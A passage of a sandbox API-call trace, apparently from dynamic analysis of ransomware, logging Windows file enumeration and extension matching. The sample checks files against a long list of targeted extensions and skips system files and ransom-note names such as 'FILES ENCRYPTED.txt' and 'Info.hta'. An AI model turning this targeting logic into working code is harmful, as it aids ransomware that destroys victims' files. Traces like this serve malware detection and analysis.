(lpString=".java") returned 5 [0194.657] lstrcmpiW (lpString1=".java", lpString2="6.log") returned -1 [0194.657] lstrlenW (lpString=".jp2") returned 4 [0194.657] lstrcmpiW (lpString1=".jp2", lpString2=".log") returned -1 [0194.657] lstrlenW (lpString=".jpc") returned 4 [0194.657] lstrcmpiW (lpString1=".jpc", lpString2=".log") returned -1 [0194.657] lstrlenW (lpString=".jpe") returned 4 [0194.657] lstrcmpiW (lpString1=".jpe", lpString2=".log") returned -1 [0194.657] lstrlenW (lpString=".jpeg") returned 5 [0194.657] lstrcmpiW (lpString1=".jpeg", lpString2="6.log") returned -1 [0194.657] lstrlenW (lpString=".jpf") returned 4 [0194.657] lstrcmpiW (lpString1=".jpf", lpString2=".log") returned -1 [0194.657] lstrlenW (lpString=".jpg") returned 4 [0194.657] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0194.657] lstrlenW (lpString=".jpx") returned 4 [0194.657] lstrcmpiW (lpString1=".jpx", lpString2=".log") returned -1 [0194.657] lstrlenW (lpString=".js") returned 3 [0194.657] lstrcmpiW (lpString1=".js", lpString2="log") returned -1 [0194.657] lstrlenW (lpString=".jsf") returned 4 [0194.657] lstrcmpiW (lpString1=".jsf", lpString2=".log") returned -1 [0194.657] lstrlenW (lpString=".json") returned 5 [0194.657] lstrcmpiW (lpString1=".json", lpString2="6.log") returned -1 [0194.658] lstrlenW (lpString=".jsp") returned 4 [0194.658] lstrcmpiW (lpString1=".jsp", lpString2=".log") returned -1 [0194.658] lstrlenW (lpString=".kdc") returned 4 [0194.658] lstrcmpiW (lpString1=".kdc", lpString2=".log") returned -1 [0194.658] lstrlenW (lpString=".kmz") returned 4 [0194.658] lstrcmpiW (lpString1=".kmz", lpString2=".log") returned -1 [0194.658] lstrlenW (lpString=".kwm") returned 4 [0194.658] lstrcmpiW (lpString1=".kwm", lpString2=".log") returned -1 [0194.658] lstrlenW (lpString=".lasso") returned 6 [0194.658] lstrcmpiW (lpString1=".lasso", lpString2="66.log") returned -1 [0194.658] lstrlenW (lpString=".lbi") returned 4 [0194.658] lstrcmpiW (lpString1=".lbi", lpString2=".log") returned -1 [0194.658] lstrlenW (lpString=".lgf") returned 4 [0194.658] lstrcmpiW (lpString1=".lgf", lpString2=".log") returned -1 [0194.658] lstrlenW (lpString=".lgp") returned 4 [0194.658] lstrcmpiW (lpString1=".lgp", lpString2=".log") returned -1 [0194.658] lstrlenW (lpString=".log") returned 4 [0194.658] lstrcmpiW (lpString1=".log", lpString2=".log") returned 0 [0194.658] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0194.658] lstrlenW (lpString=".LOVE") returned 5 [0194.658] lstrcmpiW (lpString1=".LOVE", lpString2="6.log") returned -1 [0194.658] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0194.658] lstrcmpiW (lpString1="boot.ini", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned -1 [0194.658] lstrcmpiW (lpString1="bootfont.bin", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned -1 [0194.658] lstrcmpiW (lpString1="ntldr", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0194.658] lstrcmpiW (lpString1="ntdetect.com", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0194.658] lstrcmpiW (lpString1="io.sys", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0194.658] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0194.658] lstrcmpiW (lpString1="Info.hta", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0194.658] lstrcmpiW (lpString1="11.exe", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned -1 [0194.658] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0194.659] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.659] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32 [0194.659] lstrlenW (lpString=".1cd") returned 4 [0194.659] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0194.659] lstrlenW (lpString=".3ds") returned 4 [0194.659] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0194.659] lstrlenW (lpString=".3fr") returned 4 [0194.659] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0194.659] lstrlenW (lpString=".3g2") returned 4 [0194.659] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0194.659] lstrlenW (lpString=".3gp") returned 4 [0194.659] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0194.659] lstrlenW (lpString=".7z") returned 3 [0194.659] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0194.659] lstrlenW (lpString=".accda") returned 6 [0194.659] lstrcmpiW (lpString1=".accda", lpString2="37.log") returned -1 [0194.659] lstrlenW (lpString=".accdb") returned 6 [0194.659] lstrcmpiW (lpString1=".accdb", lpString2="37.log") returned -1 [0194.659] lstrlenW (lpString=".accdc") returned 6 [0194.659] lstrcmpiW (lpString1=".accdc", lpString2="37.log") returned -1 [0194.659] lstrlenW (lpString=".accde") returned 6 [0194.659] lstrcmpiW (lpString1=".accde", lpString2="37.log") returned -1 [0194.659] lstrlenW (lpString=".accdt") returned 6 [0194.659] lstrcmpiW (lpString1=".accdt", lpString2="37.log") returned -1 [0194.659] lstrlenW (lpString=".accdw") returned 6 [0194.659] lstrcmpiW (lpString1=".accdw", lpString2="37.log") returned -1 [0194.659] lstrlenW (lpString=".adb") returned 4 [0194.659] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0194.659] lstrlenW (lpString=".adp") returned 4 [0194.659] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0194.659] lstrlenW (lpString=".ai") returned 3 [0194.660] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0194.660] lstrlenW (lpString=".ai3") returned 4 [0194.660] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0194.660] lstrlenW (lpString=".ai4") returned 4 [0194.660] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0194.660] lstrlenW (lpString=".ai5") returned 4 [0194.660] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0194.660] lstrlenW (lpString=".ai6") returned 4 [0194.660] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0194.660] lstrlenW (lpString=".ai7") returned 4 [0194.660] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0194.660] lstrlenW (lpString=".ai8") returned 4 [0194.660] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0194.660] lstrlenW (lpString=".anim") returned 5 [0194.660] lstrcmpiW (lpString1=".anim", lpString2="7.log") returned -1 [0194.660] lstrlenW (lpString=".arw") returned 4 [0194.660] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0194.660] lstrlenW (lpString=".as") returned 3 [0194.660] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0194.660] lstrlenW (lpString=".asa") returned 4 [0194.660] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0194.660] lstrlenW (lpString=".asc") returned 4 [0194.660] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0194.660] lstrlenW (lpString=".ascx") returned 5 [0194.660] lstrcmpiW (lpString1=".ascx", lpString2="7.log") returned -1 [0194.660] lstrlenW (lpString=".asm") returned 4 [0194.660] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0194.660] lstrlenW (lpString=".asmx") returned 5 [0194.660] lstrcmpiW (lpString1=".asmx", lpString2="7.log") returned -1 [0194.660] lstrlenW (lpString=".asp") returned 4 [0194.660] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0194.660] lstrlenW (lpString=".aspx") returned 5 [0194.660] lstrcmpiW (lpString1=".aspx", lpString2="7.log") returned -1 [0194.661] lstrlenW (lpString=".asr") returned 4 [0194.661] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0194.661] lstrlenW (lpString=".asx") returned 4 [0194.661] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0194.661] lstrlenW (lpString=".avi") returned 4 [0194.661] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0194.661] lstrlenW (lpString=".avs") returned 4 [0194.661] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0194.661] lstrlenW (lpString=".backup") returned 7 [0194.661] lstrcmpiW (lpString1=".backup", lpString2="737.log") returned -1 [0194.661] lstrlenW (lpString=".bak") returned 4 [0194.661] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0194.661] lstrlenW (lpString=".bay") returned 4 [0194.661] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0194.661] lstrlenW (lpString=".bd") returned 3 [0194.661] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0194.661] lstrlenW (lpString=".bin") returned 4 [0194.661] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0194.661] lstrlenW (lpString=".bmp") returned 4 [0194.661] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0194.661] lstrlenW (lpString=".bz2") returned 4 [0194.661] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0194.661] lstrlenW (lpString=".c") returned 2 [0194.661] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0194.661] lstrlenW (lpString=".cdr") returned 4 [0194.661] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0194.661] lstrlenW (lpString=".cer") returned 4 [0194.661] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0194.661] lstrlenW (lpString=".cf") returned 3 [0194.661] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0194.661] lstrlenW (lpString=".cfc") returned 4 [0194.661] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0194.661] lstrlenW (lpString=".cfm") returned 4 [0194.661] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0194.662] lstrlenW (lpString=".cfml") returned 5 [0194.662] lstrcmpiW (lpString1=".cfml", lpString2="7.log") returned -1 [0194.662] lstrlenW (lpString=".cfu") returned 4 [0194.662] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0194.662] lstrlenW (lpString=".chm") returned 4 [0194.662] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0194.662] lstrlenW (lpString=".cin") returned 4 [0194.662] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0194.662] lstrlenW (lpString=".class") returned 6 [0194.662] lstrcmpiW (lpString1=".class", lpString2="37.log") returned -1 [0194.662] lstrlenW (lpString=".clx") returned 4 [0194.662] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0194.662] lstrlenW (lpString=".config") returned 7 [0194.662] lstrcmpiW (lpString1=".config", lpString2="737.log") returned -1 [0194.662] lstrlenW (lpString=".cpp") returned 4 [0194.662] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0194.662] lstrlenW (lpString=".cr2") returned 4 [0194.662] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0194.662] lstrlenW (lpString=".crt") returned 4 [0194.662] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0194.662] lstrlenW (lpString=".crw") returned 4 [0194.662] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0194.662] lstrlenW (lpString=".cs") returned 3 [0194.662] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0194.662] lstrlenW (lpString=".css") returned 4 [0194.662] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0194.662] lstrlenW (lpString=".csv") returned 4 [0194.662] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0194.662] lstrlenW (lpString=".cub") returned 4 [0194.662] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0194.663] lstrlenW (lpString=".dae") returned 4 [0194.663] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0194.663] lstrlenW (lpString=".dat") returned 4 [0194.663] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0194.663] lstrlenW (lpString=".db") returned 3 [0194.663] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0194.663] lstrlenW (lpString=".dbf") returned 4 [0194.663] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0194.663] lstrlenW (lpString=".dbx") returned 4 [0194.663] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0194.663] lstrlenW (lpString=".dc3") returned 4 [0194.663] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0194.663] lstrlenW (lpString=".dcm") returned 4 [0194.663] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0194.663] lstrlenW (lpString=".dcr") returned 4 [0194.663] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0194.663] lstrlenW (lpString=".der") returned 4 [0194.663] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0194.663] lstrlenW (lpString=".dib") returned 4 [0194.663] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0194.663] lstrlenW (lpString=".dic") returned 4 [0194.663] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0194.663] lstrlenW (lpString=".dif") returned 4 [0194.663] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0194.663] lstrlenW (lpString=".divx") returned 5 [0194.663] lstrcmpiW (lpString1=".divx", lpString2="7.log") returned -1 [0194.663] lstrlenW (lpString=".djvu") returned 5 [0194.663] lstrcmpiW (lpString1=".djvu", lpString2="7.log") returned -1 [0194.663] lstrlenW (lpString=".dng") returned 4 [0194.663] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0194.663] lstrlenW (lpString=".doc") returned 4 [0194.663] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0194.663] lstrlenW (lpString=".docm") returned 5 [0194.664] lstrcmpiW (lpString1=".docm", lpString2="7.log") returned -1 [0194.664] lstrlenW (lpString=".docx") returned 5 [0194.664] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0194.664] lstrlenW (lpString=".dot") returned 4 [0194.664] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0194.664] lstrlenW (lpString=".dotm") returned 5 [0194.664] lstrcmpiW (lpString1=".dotm", lpString2="7.log") returned -1 [0194.664] lstrlenW (lpString=".dotx") returned 5 [0194.664] lstrcmpiW (lpString1=".dotx", lpString2="7.log") returned -1 [0194.664] lstrlenW (lpString=".dpx") returned 4 [0194.664] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0194.664] lstrlenW (lpString=".dqy") returned 4 [0194.664] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0194.664] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.664] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0194.757] FindClose (in: hFindFile=0x7a1ef0 | out: hFindFile=0x7a1ef0) returned 1 [0194.759] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0048 | out: hHeap=0x790000) returned 1 [0194.759] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0194.759] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42a0048 [0194.760] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1f70 [0194.789] FindNextFileW (in: hFindFile=0x7a1f70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.789] FindNextFileW (in: hFindFile=0x7a1f70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.789] FindNextFileW (in: hFindFile=0x7a1f70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.789] FindNextFileW (in: hFindFile=0x7a1f70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.789] FindNextFileW (in: hFindFile=0x7a1f70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.789] FindNextFileW (in: hFindFile=0x7a1f70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.789] FindNextFileW (in: hFindFile=0x7a1f70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0194.789] FindClose (in: hFindFile=0x7a1f70 | out: hFindFile=0x7a1f70) returned 1 [0194.790] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0048 | out: hHeap=0x790000) returned 1 [0194.790] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 0 [0194.790] FindClose (in: hFindFile=0x7a1b70 | out: hFindFile=0x7a1b70) returned 1 [0194.790] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3c60050 | out: hHeap=0x790000) returned 1 [0194.792] FindNextFileW (in: hFindFile=0x7a1af0, lpFindFileData=0x2edfcf8 | out: lpFindFileData=0x2edfcf8) returned 1 [0194.792] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x3c60050 [0194.792] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 0x7a1b70 [0194.797] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0194.797] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0194.797] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0194.797] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1cf0 [0194.798] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.798] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.798] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0194.798] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0194.798] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0194.798] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0194.798] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0194.798] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1cf0 [0194.798] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.798] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.799] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0194.799] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0194.799] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0194.799] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 0 [0194.799] FindClose (in: hFindFile=0x7a1b70 | out: hFindFile=0x7a1b70) returned 1 [0194.800] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3c60050 | out: hHeap=0x790000) returned 1 [0194.801] FindNextFileW (in: hFindFile=0x7a1af0, lpFindFileData=0x2edfcf8 | out: lpFindFileData=0x2edfcf8) returned 1 [0194.801] FindNextFileW (in: hFindFile=0x7a1af0, lpFindFileData=0x2edfcf8 | out: lpFindFileData=0x2edfcf8) returned 1 [0194.801] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x3c60050 [0194.801] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 0x7a1cf0 [0194.838] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0194.838] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0194.838] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0194.839] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1b70 [0194.841] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.841] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.841] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.841] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.841] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0194.841] FindClose (in: hFindFile=0x7a1b70 | out: hFindFile=0x7a1b70) returned 1 [0194.885] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0194.885] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0194.885] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0194.885] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a18f0 [0194.896] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.896] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.896] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.896] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.897] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0194.897] FindClose (in: hFindFile=0x7a18f0 | out: hFindFile=0x7a18f0) returned 1 [0194.897] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0194.897] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0194.897] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0194.897] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1b70 [0194.898] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.898] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.898] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.898] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.899] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0194.899] FindClose (in: hFindFile=0x7a1b70 | out: hFindFile=0x7a1b70) returned 1 [0194.900] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0194.900] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0194.900] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0194.900] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1870 [0194.901] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.901] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.901] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.901] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.902] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0194.902] FindClose (in: hFindFile=0x7a1870 | out: hFindFile=0x7a1870) returned 1 [0194.902] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0194.902] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0194.902] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0194.902] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1830 [0194.903] FindNextFileW (in: hFindFile=0x7a1830, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.903] FindNextFileW (in: hFindFile=0x7a1830, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.903] FindNextFileW (in: hFindFile=0x7a1830, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.903] FindNextFileW (in: hFindFile=0x7a1830, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.903] FindNextFileW (in: hFindFile=0x7a1830, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0194.903] FindClose (in: hFindFile=0x7a1830 | out: hFindFile=0x7a1830) returned 1 [0194.903] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0194.903] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0194.903] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0194.903] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a18f0 [0194.946] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.946] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.946] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.946] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.946] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0194.946] FindClose (in: hFindFile=0x7a18f0 | out: hFindFile=0x7a18f0) returned 1 [0194.946] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0194.946] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0194.947] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0194.947] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a18f0 [0194.947] FindNextFileW (in: hFindFile=0x7a18f0, 